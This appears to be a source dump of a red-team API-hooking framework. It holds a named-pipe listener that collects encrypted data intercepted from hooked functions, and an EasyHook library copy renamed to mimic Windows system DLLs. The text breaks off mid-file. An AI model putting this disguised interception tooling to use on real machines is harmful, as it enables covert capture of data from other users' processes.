├── .github └── FUNDING.yml ├── Bates ├── Bates.sln └── Bates │ ├── Bates.csproj │ ├── FodyWeavers.xml │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── app.config │ ├── hBates.cs │ └── packages.config ├── BuildEnv └── v2.7.7097 │ ├── Current-Managed-CONFIG.txt │ ├── EasyHook-Managed │ ├── COMClassInfo.cs │ ├── Config.cs │ ├── Debugging.cs │ ├── DllImport.cs │ ├── Domain │ │ └── DomainIdentifier.cs │ ├── EasyHook.sln │ ├── ExecuteAsService.xml │ ├── FileMonHost.xml │ ├── FileMonInject.xml │ ├── GACWrap.cs │ ├── HelperServiceInterface.cs │ ├── IPC │ │ ├── -DummyCore.cs │ │ ├── ChannelProperties.cs │ │ ├── ConnectionManager.cs │ │ ├── DomainConnectionEndPoint.cs │ │ ├── DuplexChannel.cs │ │ ├── DuplexChannelEndPointObject.cs │ │ ├── DuplexChannelReadyEventHandler.cs │ │ ├── DuplexChannelState.cs │ │ ├── EndPointConfigurationData.cs │ │ ├── EndPointObject.cs │ │ └── SimplexChannel.cs │ ├── InjectionLoader.cs │ ├── LocalHook.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── RemoteHook.cs │ ├── ServiceMgmt.cs │ ├── StrongName.snk │ ├── WOW64Bypass.cs │ └── oleaccrt.csproj │ ├── Native-EasyHook32.dll │ └── Native-EasyHook64.dll ├── Dendron ├── Dendron.sln └── Dendron │ ├── API.cs │ ├── App.config │ ├── Costura32 │ └── msvcp_win32.dll │ ├── Costura64 │ └── msvcp_win64.dll │ ├── Dendron.csproj │ ├── FodyWeavers.xml │ ├── Program.cs │ ├── Properties │ └── AssemblyInfo.cs │ ├── hDendron.cs │ ├── libs │ ├── x64 │ │ ├── 35 │ │ │ └── oleaccrt.dll │ │ └── 45 │ │ │ └── oleaccrt.dll │ └── x86 │ │ ├── 35 │ │ └── oleaccrt.dll │ │ └── 45 │ │ └── oleaccrt.dll │ └── packages.config ├── Images ├── apimon.png ├── cobaltstrike.png ├── dendrobate.png ├── donut.png ├── fermion.png └── vip.png ├── LICENSE ├── LICENSE-3RD-PARTY.txt └── README.md /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: FuzzySecurity 4 | -------------------------------------------------------------------------------- /Bates/Bates.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30503.244 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Bates", "Bates\Bates.csproj", "{C57237D2-F6A4-448E-95C0-DCFED0313DD1}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {1326D11E-1515-4533-929A-56D848AA683C} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /Bates/Bates/Bates.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {C57237D2-F6A4-448E-95C0-DCFED0313DD1} 8 | Exe 9 | Bates 10 | Bates 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | false 28 | 29 | 30 | AnyCPU 31 | pdbonly 32 | true 33 | bin\Release\ 34 | TRACE 35 | prompt 36 | 4 37 | false 38 | 39 | 40 | 41 | ..\packages\CommandLineParser.1.9.3.15\lib\CommandLine.dll 42 | 43 | 44 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll 45 | False 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 66 | 67 | 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /Bates/Bates/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CommandLine 6 | 7 | 8 | -------------------------------------------------------------------------------- /Bates/Bates/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using CommandLine; 3 | 4 | namespace Bates 5 | { 6 | class Program 7 | { 8 | class ArgOptions 9 | { 10 | [Option(null, "listen")] 11 | public Int32 iListen { get; set; } 12 | 13 | [Option(null, "kill")] 14 | public Boolean bKill { get; set; } 15 | 16 | [Option(null, "help")] 17 | public Boolean bHelp { get; set; } 18 | } 19 | 20 | static void Main(string[] args) 21 | { 22 | // Because ASCII 23 | hBates.getASCII(); 24 | 25 | // Parse args 26 | var ArgOptions = new ArgOptions(); 27 | if (CommandLineParser.Default.ParseArguments(args, ArgOptions)) 28 | { 29 | if (ArgOptions.bHelp || args.Length == 0) 30 | { 31 | hBates.getHelp(); 32 | } else 33 | { 34 | if (ArgOptions.bKill) 35 | { 36 | Boolean bSent = hBates.passControlCodeByPipe(); 37 | if (bSent) 38 | { 39 | Console.WriteLine("\n[+] Dendron client un-hooking.."); 40 | } else 41 | { 42 | Console.WriteLine("\n[!] Failed to talk to Dendron client.."); 43 | } 44 | return; 45 | } else if (ArgOptions.iListen != 0) 46 | { 47 | hBates.ListenNamedPipe(ArgOptions.iListen); 48 | return; 49 | } else 50 | { 51 | hBates.getHelp(); 52 | } 53 | } 54 | } else 55 | { 56 | hBates.getHelp(); 57 | } 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /Bates/Bates/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("Bates")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("Bates")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("c57237d2-f6a4-448e-95c0-dcfed0313dd1")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /Bates/Bates/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /Bates/Bates/hBates.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Diagnostics; 3 | using System.IO; 4 | using System.IO.Pipes; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography; 7 | using System.Text; 8 | 9 | namespace Bates 10 | { 11 | public class hBates 12 | { 13 | // Globals 14 | //----------- 15 | public static String sDataPipe = "scerpcDSS"; // Sync in dendron & bates 16 | public static String sControlPipe = "MsFetWid"; // Sync in dendron & bates 17 | public static String sAESKey = "P8CuaPrgwBjunvZxJcgq"; // Sync in dendron & bates 18 | 19 | // Structs 20 | //----------- 21 | [Serializable()] 22 | [StructLayout(LayoutKind.Sequential)] 23 | public struct HOOKDAT 24 | { 25 | public UInt32 iType; // 0 == String; 1 == Byte[]; 2 == Fail decrypt; 3 == Fail Data 26 | public String sHookFunc; // Function where the data originated 27 | public String sHookData; 28 | public Byte[] bHookData; 29 | } 30 | 31 | // Help me! 32 | //----------- 33 | public static void getASCII() 34 | { 35 | Console.WriteLine(@" ( ) "); 36 | Console.WriteLine(@" ( )\ ) ( /( ( "); 37 | Console.WriteLine(@" )((_) ( /( )\())))\( "); 38 | Console.WriteLine(@"((_)_ )(_)|_))//((_)\ "); 39 | Console.WriteLine(@" | _ )((_)_| |_(_))((_)"); 40 | Console.WriteLine(@" | _ \/ _` | _/ -_|_-<"); 41 | Console.WriteLine(@" |___/\__,_|\__\___/__/"); 42 | } 43 | 44 | public static void getHelp() 45 | { 46 | string HelpText = "\n >--~~--> Args? <--~~--<\n\n" + 47 | "--help This help menu.\n" + 48 | "--listen Listen for X seconds for Dendron comms.\n" + 49 | "--kill Instruct dendron client to un-hook.\n\n" + 50 | " >--~~--> Usage? <--~~--<\n\n" + 51 | "# Listen for X seconds on the Dendrobate data pipe\n" + 52 | "Bates.exe --listen 180\n\n" + 53 | "# Instruct dendron client to un-hook by sending a magic value over the Dendrobate control pipe\n" + 54 | "Bates.exe --kill"; 55 | Console.WriteLine(HelpText); 56 | } 57 | 58 | // Helpers 59 | //----------- 60 | public static Byte[][] ComputeSha256KeyMat(String sInput) 61 | { 62 | Byte[][] res = new Byte[2][]; 63 | Encoding enc = Encoding.UTF8; 64 | 65 | SHA256 sha256 = new SHA256CryptoServiceProvider(); 66 | byte[] hashKey = sha256.ComputeHash(enc.GetBytes(sInput)); 67 | byte[] hashIV = sha256.ComputeHash(enc.GetBytes(sInput)); 68 | Array.Resize(ref hashIV, 16); 69 | 70 | res[0] = hashKey; 71 | res[1] = hashIV; 72 | 73 | return res; 74 | } 75 | 76 | private static byte[] ReadMessage(PipeStream pipe) 77 | { 78 | byte[] buffer = new byte[1024]; 79 | using (var ms = new MemoryStream()) 80 | { 81 | do 82 | { 83 | var readBytes = pipe.Read(buffer, 0, buffer.Length); 84 | ms.Write(buffer, 0, readBytes); 85 | } 86 | while (!pipe.IsMessageComplete); 87 | 88 | return ms.ToArray(); 89 | } 90 | } 91 | 92 | public static void ListenNamedPipe(Int32 iSeconds) 93 | { 94 | // Set up a timer 95 | Stopwatch tTimer = new Stopwatch(); 96 | tTimer.Start(); 97 | 98 | Console.WriteLine("\n[+] Creating Bates pipe listener.."); 99 | Console.WriteLine(@" |_ \\.\pipe\" + sDataPipe); 100 | Console.WriteLine(" |_ " + iSeconds + "s timer"); 101 | Console.WriteLine(" |_ Waiting for client"); 102 | 103 | // Loop 104 | while (tTimer.Elapsed.TotalSeconds < iSeconds) 105 | { 106 | var oPipe = new NamedPipeServerStream(sDataPipe, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Message); 107 | oPipe.WaitForConnection(); 108 | Byte[] messageBytes = ReadMessage(oPipe); 109 | 110 | // Process data 111 | HOOKDAT oHook = AESUnKeyObject(messageBytes); 112 | if (oHook.iType == 2 || oHook.iType == 3) 113 | { 114 | if (oHook.iType == 2) 115 | { 116 | Console.WriteLine("\n[!] Failed to decrypt pipe data.."); 117 | } else 118 | { 119 | Console.WriteLine("\n[!] Invalid data.."); 120 | } 121 | } else 122 | { 123 | Console.WriteLine("\n[+] Dendron client connected"); 124 | Console.WriteLine(" |_ Function : " + oHook.sHookFunc); 125 | if (oHook.iType == 0) 126 | { 127 | Console.WriteLine(" |_ Data Type : String"); 128 | Console.WriteLine(" |_ Data : \n\n" + oHook.sHookData); 129 | } else 130 | { 131 | Console.WriteLine(" |_ Data Type : Byte[]"); 132 | Console.WriteLine(" |_ Data : \n\n" + HexDump(oHook.bHookData)); 133 | } 134 | } 135 | } 136 | } 137 | 138 | public static Boolean passControlCodeByPipe() 139 | { 140 | try 141 | { 142 | NamedPipeClientStream pipe = new NamedPipeClientStream("localhost", sControlPipe, PipeDirection.InOut); 143 | try 144 | { 145 | // Can we connect to the pipe? 146 | pipe.Connect(50); // Unclear if we need a small ms buffer time here 147 | pipe.ReadMode = PipeTransmissionMode.Message; 148 | 149 | // Encrypt magic data 150 | Byte[] bMagic = Encoding.UTF8.GetBytes("Dendrobate"); 151 | Byte[] bEncrypt = arrayToAESArray(bMagic); 152 | 153 | // Write data 154 | pipe.Write(bEncrypt, 0, bEncrypt.Length); 155 | pipe.Close(); 156 | 157 | return true; 158 | } 159 | catch 160 | { 161 | pipe.Close(); 162 | return false; 163 | } 164 | } 165 | catch 166 | { 167 | return false; 168 | } 169 | } 170 | 171 | public static Byte[] AES256EncryptToArray(Byte[] bInput, Byte[] bKey, Byte[] bIV) 172 | { 173 | Byte[] encrypted; 174 | 175 | using (AesManaged aesAlg = new AesManaged()) 176 | { 177 | aesAlg.Key = bKey; 178 | aesAlg.IV = bIV; 179 | 180 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV); 181 | 182 | using (MemoryStream msEncrypt = new MemoryStream()) 183 | { 184 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write)) 185 | { 186 | using (BinaryWriter swEncrypt = new BinaryWriter(csEncrypt)) 187 | { 188 | swEncrypt.Write(bInput); 189 | } 190 | encrypted = msEncrypt.ToArray(); 191 | } 192 | } 193 | } 194 | return encrypted; 195 | } 196 | 197 | public static Byte[] arrayToAESArray(Byte[] bInput) 198 | { 199 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey); 200 | return AES256EncryptToArray(bInput, aSHAKeyMatt[0], aSHAKeyMatt[1]); 201 | } 202 | 203 | public static Byte[] DecryptArrayFromAES256(Byte[] bCipherText, Byte[] bKey, Byte[] bIV) 204 | { 205 | Byte[] bResult = { }; 206 | try 207 | { 208 | using (Aes aesAlg = Aes.Create()) 209 | using (MemoryStream output = new MemoryStream()) 210 | { 211 | aesAlg.Key = bKey; 212 | aesAlg.IV = bIV; 213 | 214 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); 215 | using (MemoryStream msDecrypt = new MemoryStream(bCipherText)) 216 | { 217 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read)) 218 | { 219 | Byte[] buffer = new Byte[1024]; 220 | Int32 read = csDecrypt.Read(buffer, 0, buffer.Length); 221 | while (read > 0) 222 | { 223 | output.Write(buffer, 0, read); 224 | read = csDecrypt.Read(buffer, 0, buffer.Length); 225 | } 226 | csDecrypt.Flush(); 227 | bResult = output.ToArray(); 228 | } 229 | } 230 | } 231 | return bResult; 232 | } 233 | catch 234 | { 235 | return bResult; 236 | } 237 | } 238 | 239 | public static HOOKDAT ByteArrayToObject(Byte[] arrBytes) 240 | { 241 | //--- Array structure 242 | // [UInt32 Type]--[UInt32 Size]--[UTF8 sFuncName]--[UInt32 Size]--[Byte[] Hook data] 243 | //--- 244 | 245 | // Result object 246 | HOOKDAT oHookDat = new HOOKDAT(); 247 | 248 | // Populate object 249 | oHookDat.iType = BitConverter.ToUInt32(arrBytes, 0); 250 | 251 | UInt32 iFuncNameSize = BitConverter.ToUInt32(arrBytes, 4); 252 | oHookDat.sHookFunc = Encoding.UTF8.GetString(arrBytes, 8, (Int32)iFuncNameSize); 253 | 254 | UInt32 iDataSize = BitConverter.ToUInt32(arrBytes, 8 + (Int32)iFuncNameSize); 255 | if (oHookDat.iType == 0) 256 | { 257 | oHookDat.sHookData = Encoding.UTF8.GetString(arrBytes, 12 + (Int32)iFuncNameSize, (Int32)iDataSize); 258 | } else 259 | { 260 | oHookDat.bHookData = new Byte[iDataSize]; 261 | Array.Copy(arrBytes, 12 + (Int32)iFuncNameSize, oHookDat.bHookData, 0, iDataSize); 262 | } 263 | 264 | return oHookDat; 265 | } 266 | 267 | public static HOOKDAT AESUnKeyObject(Byte[] bPipeData) 268 | { 269 | // Result object 270 | HOOKDAT oHook = new HOOKDAT(); 271 | 272 | // Decrypt 273 | Byte[][] aSHAKeyMatt = ComputeSha256KeyMat(sAESKey); 274 | Byte[] bDecrypt = DecryptArrayFromAES256(bPipeData, aSHAKeyMatt[0], aSHAKeyMatt[1]); 275 | 276 | if (bDecrypt.Length > 0) 277 | { 278 | try 279 | { 280 | oHook = ByteArrayToObject(bDecrypt); 281 | } catch 282 | { 283 | oHook.iType = 2; 284 | } 285 | } 286 | else 287 | { 288 | oHook.iType = 3; 289 | } 290 | return oHook; 291 | } 292 | 293 | // https://www.codeproject.com/Articles/36747/Quick-and-Dirty-HexDump-of-a-Byte-Array 294 | public static string HexDump(byte[] bytes, int bytesPerLine = 16) 295 | { 296 | if (bytes == null) return ""; 297 | int bytesLength = bytes.Length; 298 | 299 | char[] HexChars = "0123456789ABCDEF".ToCharArray(); 300 | 301 | int firstHexColumn = 302 | 8 // 8 characters for the address 303 | + 3; // 3 spaces 304 | 305 | int firstCharColumn = firstHexColumn 306 | + bytesPerLine * 3 // - 2 digit for the hexadecimal value and 1 space 307 | + (bytesPerLine - 1) / 8 // - 1 extra space every 8 characters from the 9th 308 | + 2; // 2 spaces 309 | 310 | int lineLength = firstCharColumn 311 | + bytesPerLine // - characters to show the ascii value 312 | + Environment.NewLine.Length; // Carriage return and line feed (should normally be 2) 313 | 314 | char[] line = (new String(' ', lineLength - Environment.NewLine.Length) + Environment.NewLine).ToCharArray(); 315 | int expectedLines = (bytesLength + bytesPerLine - 1) / bytesPerLine; 316 | StringBuilder result = new StringBuilder(expectedLines * lineLength); 317 | 318 | for (int i = 0; i < bytesLength; i += bytesPerLine) 319 | { 320 | line[0] = HexChars[(i >> 28) & 0xF]; 321 | line[1] = HexChars[(i >> 24) & 0xF]; 322 | line[2] = HexChars[(i >> 20) & 0xF]; 323 | line[3] = HexChars[(i >> 16) & 0xF]; 324 | line[4] = HexChars[(i >> 12) & 0xF]; 325 | line[5] = HexChars[(i >> 8) & 0xF]; 326 | line[6] = HexChars[(i >> 4) & 0xF]; 327 | line[7] = HexChars[(i >> 0) & 0xF]; 328 | 329 | int hexColumn = firstHexColumn; 330 | int charColumn = firstCharColumn; 331 | 332 | for (int j = 0; j < bytesPerLine; j++) 333 | { 334 | if (j > 0 && (j & 7) == 0) hexColumn++; 335 | if (i + j >= bytesLength) 336 | { 337 | line[hexColumn] = ' '; 338 | line[hexColumn + 1] = ' '; 339 | line[charColumn] = ' '; 340 | } 341 | else 342 | { 343 | byte b = bytes[i + j]; 344 | line[hexColumn] = HexChars[(b >> 4) & 0xF]; 345 | line[hexColumn + 1] = HexChars[b & 0xF]; 346 | line[charColumn] = (b < 32 ? '·' : (char)b); 347 | } 348 | hexColumn += 3; 349 | charColumn++; 350 | } 351 | result.Append(line); 352 | } 353 | return result.ToString(); 354 | } 355 | } 356 | } 357 | -------------------------------------------------------------------------------- /Bates/Bates/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/Current-Managed-CONFIG.txt: -------------------------------------------------------------------------------- 1 | -=Current config=- 2 | 3 | Native libs: 4 | - EasyHook32.dll --> msvcp_win32.dll 5 | - EasyHook64.dll --> msvcp_win64.dll 6 | 7 | Managed libs: 8 | - Assembly name --> oleaccrt 9 | - Namespace --> oleaccrt -------------------------------------------------------------------------------- /BuildEnv/v2.7.7097/EasyHook-Managed/COMClassInfo.cs: -------------------------------------------------------------------------------- 1 | // EasyHook (File: EasyHook\COMClassInfo.cs) 2 | // 3 | // Copyright (c) 2015 Justin Stenning 4 | // 5 | // Permission is hereby granted, free of charge, to any person obtaining a copy 6 | // of this software and associated documentation files (the "Software"), to deal 7 | // in the Software without restriction, including without limitation the rights 8 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | // copies of the Software, and to permit persons to whom the Software is 10 | // furnished to do so, subject to the following conditions: 11 | // 12 | // The above copyright notice and this permission notice shall be included in 13 | // all copies or substantial portions of the Software. 14 | // 15 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 21 | // THE SOFTWARE. 22 | // 23 | // Please visit https://easyhook.github.io for more information 24 | // about the project and latest updates. 25 | 26 | using System; 27 | using System.Collections.Generic; 28 | using System.Reflection; 29 | using System.Runtime.InteropServices; 30 | 31 | namespace oleaccrt 32 | { 33 | /// 34 | /// A helper class for determining the address of COM object functions for hooking given a COM class id (CLSID) and COM interface id (IID), or COM class type and COM interface type. 35 | /// 36 | /// 37 | /// The following three examples result in the same output: 38 | /// 39 | /// // 1. Use imported Class and Interface Types 40 | /// COMClassInfo cci1 = new COMClassInfo(typeof(CLSID_DirectInputDevice8), typeof(IID_IDirectInputDevice8W), "GetCapabilities"); 41 | /// // 2. Use Guid from class and interface types 42 | /// COMClassInfo cci2 = new COMClassInfo(typeof(CLSID_DirectInputDevice8).GUID, typeof(IID_IDirectInputDevice8W).GUID, 3); 43 | /// // 3. Use class and interface Guids directly (no need to have class and interface types defined) 44 | /// COMClassInfo cci3 = new COMClassInfo(new Guid("25E609E5-B259-11CF-BFC7-444553540000"), new Guid("54D41081-DC15-4833-A41B-748F73A38179"), 3); 45 | /// 46 | /// // Will output False if dinput8.dll is not already loaded 47 | /// Console.WriteLine(cci1.IsModuleLoaded()); 48 | /// cci1.Query(); 49 | /// cci2.Query(); 50 | /// cci3.Query(); 51 | /// // Will output True as dinput8.dll will be loaded by .Query() if not already 52 | /// Console.WriteLine(cci1.IsModuleLoaded()); 53 | /// 54 | /// // Output the function pointers we queried 55 | /// Console.WriteLine(cci1.FunctionPointers[0]); 56 | /// Console.WriteLine(cci2.FunctionPointers[0]); 57 | /// Console.WriteLine(cci3.FunctionPointers[0]); 58 | /// 59 | /// ... 60 | /// 61 | /// [ComVisible(true)] 62 | /// [Guid("25E609E5-B259-11CF-BFC7-444553540000")] 63 | /// public class CLSID_DirectInputDevice8 64 | /// { 65 | /// } 66 | /// 67 | /// [ComVisible(true)] 68 | /// [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 69 | /// [Guid("54D41081-DC15-4833-A41B-748F73A38179")] 70 | /// public interface IID_IDirectInputDevice8W 71 | /// { 72 | /// /*** IDirectInputDevice8W methods ***/ 73 | /// int GetCapabilities(IntPtr deviceCaps); // fourth method due to IUnknown methods QueryInterface, AddRef and Release 74 | /// // other methods... 75 | /// } 76 | /// 77 | /// 78 | public class COMClassInfo 79 | { 80 | /// 81 | /// Creates a new COMClassInfo using the COM class and interface types. The function names to retrieve the addresses for should be provided as strings 82 | /// 83 | /// The COM object's class type 84 | /// The COM object's interface type 85 | /// The methods to retrieve addresses for 86 | public COMClassInfo(Type classtype, Type interfacetype, params string[] methodNames) 87 | { 88 | if (methodNames == null || methodNames.Length == 0) 89 | throw new ArgumentException("At least one method name must be provided", "methodNames"); 90 | 91 | ClassType = classtype; 92 | InterfaceType = interfacetype; 93 | Methods = new MethodInfo[methodNames.Length]; 94 | MethodPointers = new IntPtr[methodNames.Length]; 95 | 96 | for (var i = 0; i < methodNames.Length; i++) 97 | Methods[i] = InterfaceType.GetMethod(methodNames[i]); 98 | } 99 | 100 | /// 101 | /// Creates a new COMClassInfo instance using the COM class and interface Guids. The function indexes to retrieve the addresses for as defined by the order of the methods in the COM interface. 102 | /// 103 | /// The class id (CLSID) of the COM object 104 | /// The interface id (IID) of the COM interface. This interface MUST inherit from IUnknown. 105 | /// One or more method indexes to retrieve the address for. Index 0 == QueryInterface, 1 == AddRef, 2 == Release, 3 == first method and so on, i.e. the order that the methods appear in the interface's C++ header file. 106 | public COMClassInfo(Guid clsid, Guid iid, params int[] vTableIndexes) 107 | { 108 | if (vTableIndexes == null || vTableIndexes.Length == 0) 109 | throw new ArgumentException("At least one VTable index must be provided", "vTableIndexes"); 110 | 111 | ClassId = clsid; 112 | InterfaceId = iid; 113 | VTableIndexes = vTableIndexes; 114 | MethodPointers = new IntPtr[vTableIndexes.Length]; 115 | } 116 | 117 | #region CLSID / IID / VTable indexes approach 118 | private Guid ClassId { get; set; } 119 | private Guid InterfaceId { get; set; } 120 | private int[] VTableIndexes { get; set; } 121 | #endregion 122 | 123 | #region ClassType / InterfaceType / Method names approach 124 | 125 | private Type ClassType { get; set; } 126 | private Type InterfaceType { get; set; } 127 | private MethodInfo[] Methods { get; set; } 128 | 129 | #endregion 130 | 131 | /// 132 | /// Will contain the method addresses after a call to . The index corresponds to the order method names / indexes are passed into or . 133 | /// 134 | public IntPtr[] MethodPointers { get; private set; } 135 | 136 | internal System.Diagnostics.ProcessModule m_ModuleHandle; 137 | /// 138 | /// Retrieve the module for the COM class. Only available after a call to . 139 | /// 140 | public System.Diagnostics.ProcessModule LibraryOfFunction 141 | { 142 | get 143 | { 144 | if (m_ModuleHandle == null) 145 | { 146 | DetermineModuleHandle(); 147 | } 148 | return m_ModuleHandle; 149 | } 150 | } 151 | 152 | internal void DetermineModuleHandle() 153 | { 154 | System.Diagnostics.Process pr = System.Diagnostics.Process.GetCurrentProcess(); 155 | foreach (System.Diagnostics.ProcessModule pm in pr.Modules) 156 | { 157 | if (MethodPointers[0].ToInt64() >= pm.BaseAddress.ToInt64() && 158 | MethodPointers[0].ToInt64() <= pm.BaseAddress.ToInt64() + pm.ModuleMemorySize) 159 | { 160 | m_ModuleHandle = pm; 161 | return; 162 | } 163 | } 164 | m_ModuleHandle = null; 165 | } 166 | 167 | /// 168 | /// Query the COM class for the specified method addresses. If not already loaded the COM module will be loaded. 169 | /// 170 | /// True if the COM class exists, False otherwise. 171 | /// Thrown if the method index extends beyond the interface and into protected memory. 172 | /// If the provided interface type is not an interface, or the class type is not visible to COM. 173 | /// Thrown if the class instance does not support the specified interface. 174 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)] 175 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)] 176 | public unsafe bool Query() 177 | { 178 | Guid classGuid = Guid.Empty; 179 | Guid interfaceGuid = Guid.Empty; 180 | Guid classFactoryGuid = typeof(IClassFactory).GUID; 181 | Guid classFactory2Guid = typeof(IClassFactory2).GUID; 182 | int[] vTableOffsets = null; 183 | object classInstance = null; 184 | 185 | if (ClassType != null) 186 | { 187 | classGuid = ClassType.GUID; 188 | interfaceGuid = InterfaceType.GUID; 189 | // get com-slot-number (vtable-index) of function X 190 | vTableOffsets = new int[MethodPointers.Length]; 191 | for (var i = 0; i < Methods.Length; i++) 192 | vTableOffsets[i] = Marshal.GetComSlotForMethodInfo(Methods[i]); 193 | } 194 | else 195 | { 196 | classGuid = ClassId; 197 | interfaceGuid = InterfaceId; 198 | // get com-slot-number (vtable-index) of function N 199 | vTableOffsets = VTableIndexes; 200 | } 201 | 202 | classInstance = GetClassInstance(classGuid, interfaceGuid, classFactoryGuid, classFactory2Guid); 203 | if (classInstance == null) 204 | return false; 205 | 206 | IntPtr interfaceIntPtr = IntPtr.Zero; 207 | if (InterfaceType != null) 208 | interfaceIntPtr = Marshal.GetComInterfaceForObject(classInstance, InterfaceType); 209 | else 210 | { 211 | interfaceIntPtr = Marshal.GetIUnknownForObject(classInstance); 212 | Marshal.QueryInterface(interfaceIntPtr, ref interfaceGuid, out interfaceIntPtr); 213 | } 214 | 215 | try 216 | { 217 | int*** interfaceRawPtr = (int***)interfaceIntPtr.ToPointer(); 218 | // get vtable 219 | int** vTable = *interfaceRawPtr; 220 | // get function-addresses from vtable 221 | for (var i = 0; i < vTableOffsets.Length; i++) 222 | { 223 | int* faddr = vTable[vTableOffsets[i]]; 224 | MethodPointers[i] = new IntPtr(faddr); 225 | } 226 | } 227 | finally 228 | { 229 | // release intptr 230 | if (interfaceIntPtr != IntPtr.Zero) 231 | Marshal.Release(interfaceIntPtr); 232 | Marshal.FinalReleaseComObject(classInstance); 233 | } 234 | 235 | return true; 236 | } 237 | 238 | /// 239 | /// Determines if the module containing the COM class is already loaded 240 | /// 241 | /// True if the module is loaded, otherwise False 242 | [System.Security.Permissions.RegistryPermission(System.Security.Permissions.SecurityAction.Assert)] 243 | [System.Security.Permissions.SecurityPermission(System.Security.Permissions.SecurityAction.Assert, UnmanagedCode = true)] 244 | public bool IsModuleLoaded() 245 | { 246 | Guid classGuid = Guid.Empty; 247 | 248 | if (ClassType != null) 249 | classGuid = 